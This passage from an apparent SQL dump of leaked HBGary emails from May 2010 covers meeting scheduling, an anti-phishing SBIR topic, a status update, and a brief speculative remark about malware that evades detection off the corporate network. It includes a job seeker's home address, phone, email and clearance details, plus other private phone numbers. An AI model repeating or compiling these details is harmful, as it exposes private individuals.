phone?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:37 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey guys my meeting this afternoon was cancelled. &nbsp;I\r\nhave a 2pm webex that should last no more than an hour if u want to talk\r\nteaming at 3pm?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 6, 2010, at 5:15 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry, I\'m out\r\nall week on training.&nbsp; Maybe you meet with Jerry and John.\r\n\r\nI\'ll check on their schedules and get back tomorrow.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 5/6/2010 2:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\nI am jammed the rest of the day up by NSA.&nbsp; I am up at NSA monday\r\nafternoon\r\ntoo but morning is free.&nbsp; Tuesday is good for me too.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 6, 2010, at 2:49 PM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n&nbsp;How\'s the afternoon?&nbsp; Say 2:00?\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n*From:* Aaron Barr [mailto:aaron@hbgary.com]\r\n*Sent:* Thursday, May 06, 2010 2:00 PM\r\n*To:* Clair, Chris (TASC)\r\n*Subject:* Re: Schedule\r\n\r\n\r\n\r\nI can meet on the morning.&nbsp; I have an 1130 in tysons.\r\n\r\nFrom my iPhone\r\n\r\n\r\nOn May 6, 2010, at 10:40 AM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n&nbsp;Hi Aaron,\r\n\r\nGot any time on Friday to come visit and talk about teaming?&nbsp; Today is a\r\nwash.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n*__________________________________________________*\r\n&nbsp; [image: Picture (Device Independent Bitmap)]*|Chris Clair** **|* Program\r\nManager* **|* 703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3526,'aaron_hbgary_com/3526.html'),(6066,'2010-05-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004373.M194808P14101Q921.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#4iey83sjtuadtx2s','Begin forwarded message:From: &lt;cttwayne19@yahoo.com&gt;\r\nDate: May 7, 2010 2:28:36 AM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #4iey83sjtuadtx2s\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCedrick  Smith \r\n114 Woodridge Pl\r\nLaurel, MD  20724\r\nUS\r\ncttwayne19@yahoo.com\r\n\r\n\r\n\r\n\r\n\r\nMobile: 7575156913  \r\nHome: Contact Preference: Email\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\n4iey83sjtuadtx2s   Resume Headline: Experienced Analyst  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n Cedrick W. Smith\r\n 114 Woodridge Pl                \r\n Laurel, MD 20724 Mobile: 757-515-6913 E-mail: cttwayne19@yahoo.com Objective\r\n                                                                   To obtain a challenging position in the field of, computer information, signal analysis, or intelligence analysis that would enable me to contribute to an organization by using my years of experience and training.\r\n Education \r\nNational ELINT Operations School, Pensacola, FL USA                                             May, 2002  Certification/Military  \r\n Navy Marine Corps Intelligence Training Center (NMITC)                                 March 2005, June 2006\r\n Vocational/Military \r\n  Anne Arundel Community College, Arnold MD\r\n August 2009-Present Vocational/Computer networking\r\n   Professional Experience\r\n \r\nCoast Guard Intelligence Coordination Center (BAE Systems) July 2007-December 2009\r\n Crew Analyst   \r\n \r\nSupport counter terrorism as primary Coast Guard authority responsible for vetting crew manifest information. Perform an intense investigation of crew members and cargo on inbound commercial vessels 300 GT or greater. Match collected information against federal, state, local law enforcement, intelligence databases, and HUMINT to fuse an assessment together to determine unusual or exceptional person and items of interest. Maritime Intelligence Analyst serves as an initial liaison point between Coast Guard Coast Watch and the National Vessel Movement Center.\r\n    \r\n \r\n  Naval Security Group Activity (NSGA) Norfolk, US Navy                                      October 2002 – September 2006\r\n Operation Electronic Intel (OPELINT) Analyst    \r\nProvided primary operation electronic intelligence to deployed staff by deploying with different US naval platforms to assist operation readiness by applying knowledge in Foreign Countries Order of battle, IW/C2W concepts including Over-The-Horizon-Targeting (OTHT) principles, National Overhead Collection Systems, Tactical Receive Element (TRE) operations and communications connectivity at an SCI level. \r\n   USS IWO JIMA:        Provided OPELINT systems analysis using GALE-Lite, and GCCS-M equipment during training exercises, May 2005\r\n  \r\nUSS SIROCCO:         Provided OPELINT analysis during Operation Enduring Freedom using BOBCAT, PRIVATEER, and STAR GRAZER equipment. Provided maritime Interdiction Operation (MIO) services to VBSS and Coast Guard Ledet team members while protecting numerous oil platforms in the Northern and Southern Arabian Gulf.  April 2004-October 2004\r\n    \r\n \r\nUSS CHINOOK:         Provided OPELINT analysis during Operation Iraqi Freedom using BOBCAT, and PRIVATEER equipment. Provided maritime Interdiction Operation (MIO) assistance to VBSS and Coast Guard Ledet team members that resulted in the capture of 80 water mines January 2003-July 2003\r\n   Skills\r\n - Top Secret/Sensitive Compartmentalized Information with CI Poly (TS/SCI) Security Clearance   \r\n \r\n8+ years experience using       \r\n Windows 95/98/2000/XP/VISTA    EXCEL\r\n ASSES POWERPOINT \r\n \r\n  4+ years experience using\r\n        Generic Area Limitations Environment Lite (GALE-Lite)                                  \r\n \r\nGlobal Command/Control System Maritime (GCCS-M)                                All Source Satellite Evaluation Tool (ASSET)                                              \r\n Standard Tactical Receive-Equipment Data Display (STRED)   \r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Salary/Wage:\r\n60,000.00 - 80,000.00 USD Per Year \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nExperienced (Non-Manager)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n7+ to 10 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate of Availability:\r\nImmediately\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUS Military Service:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nTarget Job Title:\r\nIntelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Job Type:\r\nEmployee\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Status:\r\nFull-Time\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Company:\r\nOccupation:\r\nOtherOther\r\nSecurity/Protective ServicesSecurity Intelligence &amp; AnalysisIT/Software Development\r\nComputer/Network SecurityDesktop Service and Support\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-DC-Washington/MetroUS-DCUS-MD-Anne Arundel CountyUS-MD-Prince George&#39;s County\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nNo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nNo Travel Required \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',3149,'aaron_hbgary_com/3149.html'),(6067,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004373.M480690P14101Q922.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','Topic','Hi Scott,\r\n\r\nSorry I missed you the other day.  I know you weren\'t terribly keen on the topic I proposed.  If we can talk on Monday that would be great.  If I could meet you up in your spaces sometime next week that would be good to.  I would like to give you a little bit of information on my background and also give you a little more detail about another topic which I am very familiar with:\r\n\r\nNew Media, exploitation, and persistent internet operations\r\n\r\nI have a badge as well.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14887,'aaron_hbgary_com/14887.html'),(6068,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004373.M713228P14101Q923.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: SBIR topic for anti-phishing','Of all the topics bob sent to us a few weeks ago this one we might be able to tackle.AaronBegin forwarded message:From: \"Bob Slapnik\" &lt;bob@hbgary.com&gt;Date: April 21, 2010 11:40:55 PM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;, \"\'Ted Vera\'\" &lt;ted@hbgary.com&gt;Subject: SBIR topic for anti-phishingAaron and Ted,&nbsp;I wonder if this SBIR topic could be addressed with some kind of inline TMC device.&nbsp; For example, the TMC runs attachments or visits websites from an automated sandboxed environment.OSD10-IA3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TITLE:&nbsp;Robust and Efficient Anti-Phishing Techniques&nbsp;TECHNOLOGY AREAS: Information Systems&nbsp;OBJECTIVE: Development of high-accuracy, low-latency automatic identification and mitigation techniques to detect and stop phishing attacks.&nbsp;DESCRIPTION: Phishing has evolved from a nuisance into a top security concern. As the number, cost, and complexity of phishing attacks continue to increase, robust and effective techniques are critically needed to counter the new threats. Existing solutions such as spam filters rely heavily on manually maintained blacklists of phishing websites, and are not robust at catching phishing emails, especially spear-phishing attacks, since these attacks look just like legitimate emails. By their very nature, manually maintained blacklists are always lagging one step behind.&nbsp; The general task of identifying phishing emails and URLs is challenging for several reasons. The most significant of these are: (i) attacks are designed to look legitimate (e.g. traditional bag of words methods used in many spam filters don’t work and the same is true for phishing URLs); (ii) phishing kits have become more sophisticated, enabling phishers to quickly launch attacks that involve constantly changing URLs (“fast flux attacks”); (iii) some targeted attacks are sent to a very small number of people and leverage information that is unique to a given organization (e.g. names of employees, seemingly legitimate email addresses, etc.); (iv) people lack the necessary sophistication and training to detect many of these attacks, thereby requiring the help of automated solutions to fend them off; (v) hybrid attacks make detection increasingly difficult and can be designed to explore a wide variety of vulnerabilities (e.g. DNS poisoning, bots, infected websites); (vi) solutions need to be designed to have extremely low (near-zero) false positive rates, otherwise users are forced to manually review decisions made by filters, which defeats the whole purpose of deploying these filters in the first place. To meet these challenges, more sophisticated, multi-faceted approaches&nbsp; need to be developed to catch a higher percentage of phishing attacks (e.g. phishing emails and phishing URLs) with a near-zero false positive rate. The desired solutions need to rapidly identify suspicious emails with a high confidence and can selectively escalate analysis when needed.&nbsp;PHASE I: 1) Research and develop novel heuristic-based, adaptive, and intelligent solutions that can accurately identify phishing attacks (catching a high percentage of attacks) while keeping false positive rates near zero and with a low latency; 2) Demonstrate that the proposed techniques can scale to high traffic volumes and are capable of addressing a wide range of phishing attacks (e.g. emails with and without links in them)&nbsp;PHASE II: 1) Develop a working system to demonstrate its effectiveness against various types of phishing attacks on live traffic; 2) Carry out benchmarking experiments with synthetic traffic generators and information feeds representative of actual traffic flows. Validate system effectiveness under real operational testing.&nbsp;PHASE III -- DUAL-USE COMMERCIALIZATION:&nbsp; Effective phishing attack mitigation is a critical capability for both the military and commercial sectors. The developed technology will be useable on both government networks and commercial networks. The developed system should be marketed as a product that can easily be deployed alongside existing legacy filters.&nbsp;&nbsp;REFERENCES:1.&nbsp; I. Fette, N. Sadeh, and A. Tomasic, Learning to Detect Phishing Emails In Proceedings of the 16th International Conference on World Wide Web, Banff, Alberta, Canada, May 8-12, 2007.&nbsp;2.&nbsp; S. Abu-Nimeh, D. Nappa, X Wang, S. Nair, A comparison of machine learning techniques for phishing detection Proceedings of the anti-phishing working groups.&nbsp;3.&nbsp; G. L\'Huillier, R. Weber, N. Figueroa, Online phishing classification using adversarial data mining and signaling games, Proceedings of the ACM SIGKDD Workshop on CyberSecurity and Intelligence Informatics.&nbsp;4.&nbsp; J. Wang, R. Chen, T. Herath, H. R. Rao, 2009. “An Exploration of the Design Features of Phishing Attacks.” In Annals of Emerging Research in IA, Security and Privacy Services, edited by H.R. Rao and Shambhu Upadhyaya. Emerald.&nbsp;5.&nbsp; Y. Zhang, J. Hong, and L. Cranor, CANTINA: A content-based approach to detecting phishing web sites. In Proceedings of the 16th International conference on World Wide Web, Banff, Alberta, Canada, May 8-12, 2007.&nbsp;TPOC: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cliff WangPhone: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 919-549-4207Fax: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 919-549-4248Email: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cliff.wang@us.army.mil2nd TPOC:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Roger CannonPhone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 919-549-4278Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 919-549-4310Email:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;roger.k.cannon@us.army.mil&nbsp;&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5764,'aaron_hbgary_com/5764.html'),(6069,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004374.M272432P14101Q925.eml','\"Greg Hoglund\" <greg@hbgary.com>','Discussion about Rootkit','Greg,\r\n\r\nI got my badge back earlier this week and have been visiting some old coworkers and customers.  I want to leverage Rootkit but want to make sure its available.\r\n\r\nI think I am going to do the REBL conference.  I originally pitched Threat Intelligence, which was I guess a bit of a yawner for them (don\'t know why its desparately needed), but thought of a new talk, which fits into what other business I am getting back into: New Media, Exploitation, and Persistent Internet Operations.  Scott wanted me to cover State of Malware...no way.  You can pull that off with all their 100 pound malware brains, but I can\'t.  This talk I am pretty sure I will be one of the more knowledgeable people in the room.  Someday it would be fun to tag team a conference.\r\n\r\nI still haven\'t lost the thought of domain based malware and the implications of that.\r\n\r\nHave you seen malware that looks for alternate paths.  Looks for devices that join multiple domains and tries to exit from a non-business domain.  I was talking to the deputy CISO for Northrop and was talking about the current environment and potential future capabilities.  Since most organizations don\'t yet use AD, but use some AV product and rely on that and perimeter protection/whitelisting.  Quickly evolving malware that waits on mobile devices to leave the business domain... he said, yep we won\'t catch that.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3843,'aaron_hbgary_com/3843.html'),(6070,'2010-05-07','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297004374.M488398P14101Q926.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Fwd: Ping','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nvery cool\r\n\r\nOn 05/06/2010 08:10 PM, Ted Vera wrote:\r\n> Check out Chris\'s site\r\n> \r\n> \r\n> Begin forwarded message:\r\n> \r\n>> *From:* Chris Collins >\r\n>> *Date:* May 6, 2010 5:37:52 PM MDT\r\n>> *To:* Ted Vera >\r\n>> *Subject:* *Re: Ping*\r\n>>\r\n>> Hi Ted,\r\n>>\r\n>> Good to hear from you. I actually just launched my website 24 hours\r\n>> ago and was going to start emailing people.\r\n>> www.tipodean.com  I\r\n>> had not seen this, what are you thinking? would love to work on it\r\n>> with you guys.\r\n>>\r\n>> Chris\r\n>>\r\n>> On Thu, May 6, 2010 at 2:08 PM, Ted Vera > ted@hbgary.com > wrote:\r\n>>\r\n>>\r\n>>       LinkedIn\r\n>>\r\n>>     *Ted Vera* has sent you a message.\r\n>>\r\n>>     *Date:* 5/06/2010\r\n>>\r\n>>     *Subject:* Ping\r\n>>\r\n>>     Hi Chris,\r\n>>\r\n>>     Have you seen this?\r\n>>\r\n>>     https://www.fbo.gov/index?s=opportunity&mode=form&id=c8b3aafc4b15afc4aa222ec196e7413c&tab=core&_cview=1\r\n>>     \r\n>>\r\n>>\r\n>>     Hope all is well,\r\n>>     Ted\r\n>>\r\n>>     View/reply to this message\r\n>>     \r\n>>\r\n>>     Don\'t want to receive e-mail notifications? Adjust your message\r\n>>     settings\r\n>>     .\r\n>>\r\n>>     © 2010, LinkedIn Corporation\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> -- \r\n>> -- \r\n>> Chris Collins\r\n>> CEO\r\n>> Tipodean Technologies\r\n>> +1 415-515-6928 | chris@tipodean.com\r\n>> \r\n>> Skype: cozza13 | SL: Chris Collins\r\n>> Website: www.tipodean.com\r\n>> \r\n>> http://www.linkedin.com/in/collinschris\r\n>> Tools for your distributed workforce\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvkJNoACgkQWw/TEDXzQNOuxgCfT5Td1z38ecDqZrUCd/25ZnNB\r\niYAAnREGBoKUtmIJOeZhAVaLJ8+vlqri\r\n=WJPf\r\n-----END PGP SIGNATURE-----\r\n',3301,'aaron_hbgary_com/3301.html'),(6071,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004374.M5678P14101Q924.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Status Update','Greg,\r\n\r\nThat is great news.\r\n\r\nAaron\r\n\r\nOn May 5, 2010, at 5:06 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Team,\r\n>  \r\n> Thanks for managing the chaos from your end.  The Senate is very interested in all of our products, end to end.  They even said \"you guys rock\" at one point near the end of the meeting.  The House got off to a rough start as you all know, but thanks to our team effort (and alot of patience on the customer side) we got it back on track.  We successfully installed an active defense agent on their test network using BigFix and we were able to initiate a scan.  Tomorrow is another day of great meetings and exposure - including the Office of the President!  My portable demo is rock solid and delivers a sweet end-to-end story - tomorrow will be a good day.  All the hard work we put into the first AD server build in the conference room paid off - we were able to scan three locations totalling over 400 nodes, identify many malware infections, and more importantly determine that most of their network was clean.  As of last night, we have an 1800 node push and our customer has not recieved any helpdesk calls :-)  Active Defense rocks, our customers see what we are doing and they tell us as much.  Thank you everyone for all your hard work.  We are going to have an amazing year.\r\n>  \r\n> -Greg Hoglund\r\n> CEO, HBGary, Inc. \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5350,'aaron_hbgary_com/5350.html'),(6072,'2010-05-07','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297004374.M693470P14101Q927.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Badge Photo','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nI have a wedding to go to later today so I\'ll be in the sport coat deal\r\nand figured that would be a good time to grab a pic for a badge.  Not as\r\nformal as you and Aaron\'s but everything of me seems to be that same\r\ncrooked head angle.\r\n\r\nOn 05/06/2010 06:20 PM, Ted Vera wrote:\r\n> Image E is my favorite too.  Send me one I can use, lol...\r\n> \r\n> Ted\r\n> \r\n> \r\n> \r\n> On Wed, May 5, 2010 at 5:56 PM, Mark Trynor  wrote:\r\n>> This is what a came up with.  I figured I\'d let you pick.  My thoughts\r\n>> on them :\r\n>>\r\n>> image a + b : me in my natural elements\r\n>> image c : I feel is edgy in an artsy way\r\n>> image d : would be the one you wanted to use at a much higher resolution\r\n>> image e : The one I would choose if I could choose only ONE pick.  Plus\r\n>> I heart cupcakes.\r\n>>\r\n> \r\n> \r\n> \r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvkJVMACgkQWw/TEDXzQNNDlwCffhRPXPScXTaUYmri4wdDnStZ\r\nz0gAn1s8cheGPTSb97Lukw7UT+4GkCF+\r\n=EUjC\r\n-----END PGP SIGNATURE-----\r\n',16394,'aaron_hbgary_com/16394.html'),(6073,'2010-05-07','\"Shane Shook\" <shane@shook.net>','/aaron@hbgary.com/new/1297004374.M914191P14101Q928.eml','\"Aaron Barr\" <aaron@hbgary.com>','catch up Monday?','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nShane Shook has sent you a message.\r\n\r\n\r\n  Date:\r\n  5/07/2010\r\n\r\n\r\n  Subject:\r\n  catch up Monday?\r\n\r\n\r\n\r\n  Just to compare notes and see where I can help on current or potential pursuits/projects?\r\n\r\n\r\n\r\n- Shane / 425.891.5281\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',14555,'aaron_hbgary_com/14555.html'),(6074,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004375.M149336P14101Q929.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Schedule','I&#39;ll come to u.From my iPhoneOn May 7, 2010, at 9:00 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDo you want to come over here or do it by phone?\r\n\r\n \r\n\r\nChris\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:37 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey guys my meeting this afternoon was cancelled.  I\r\nhave a 2pm webex that should last no more than an hour if u want to talk\r\nteaming at 3pm?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 6, 2010, at 5:15 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry, I&#39;m out\r\nall week on training.  Maybe you meet with Jerry and John.\r\n\r\nI&#39;ll check on their schedules and get back tomorrow.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 5/6/2010 2:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\nI am jammed the rest of the day up by NSA.  I am up at NSA monday\r\nafternoon\r\ntoo but morning is free.  Tuesday is good for me too.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 6, 2010, at 2:49 PM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n How&#39;s the afternoon?  Say 2:00?\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n*From:* Aaron Barr [mailto:aaron@hbgary.com]\r\n*Sent:* Thursday, May 06, 2010 2:00 PM\r\n*To:* Clair, Chris (TASC)\r\n*Subject:* Re: Schedule\r\n\r\n\r\n\r\nI can meet on the morning.  I have an 1130 in tysons.\r\n\r\nFrom my iPhone\r\n\r\n\r\nOn May 6, 2010, at 10:40 AM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n Hi Aaron,\r\n\r\nGot any time on Friday to come visit and talk about teaming?  Today is a\r\nwash.\r\n\r\nThanks,\r\n      Chris\r\n*__________________________________________________*\r\n  [image: Picture (Device Independent Bitmap)]*|Chris Clair** **|* Program\r\nManager* **|* 703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9798,'aaron_hbgary_com/9798.html'),(6075,'2010-05-07','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297004375.M416619P14101Q930.eml','','Speaker Bio - ExecutiveBiz 4x24 Dinner (Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 15, 2010 5:30 PM-8:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Fleming\'s Restaurant (1960-A Chain Bridge Rd, McLean, VA 22102)\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDear 4x24 Member;\r\nI am pleased to announce that our speaker for this dinner is Mr. William Crowell.\r\nA reminder that networking begins at 5:30 p.m. and the dinner starts at 6:30 p.m. The dinner will be held in the Galleria Room at Fleming’s Restaurant (1960-A Chain Bridge\r\nRd, McLean, VA 22102) in Tysons Corner.\r\nIn case you need to reach someone the evening of the dinner, please call JD Kathuria on his cell phone (703-863-4274).\r\n&nbsp;\r\n\r\nWILLIAM P. CROWELL\r\n\r\nSecurity Consultant\r\n\r\nWilliam P. Crowell is an Independent Consultant specializing in Information Technology, Security and Intelligence Systems.&nbsp; He also is a director in the following companies: ArcSight, Inc. (ARST), an enterprise\r\nsecurity management software company, SafeNet, encryption, data protection and 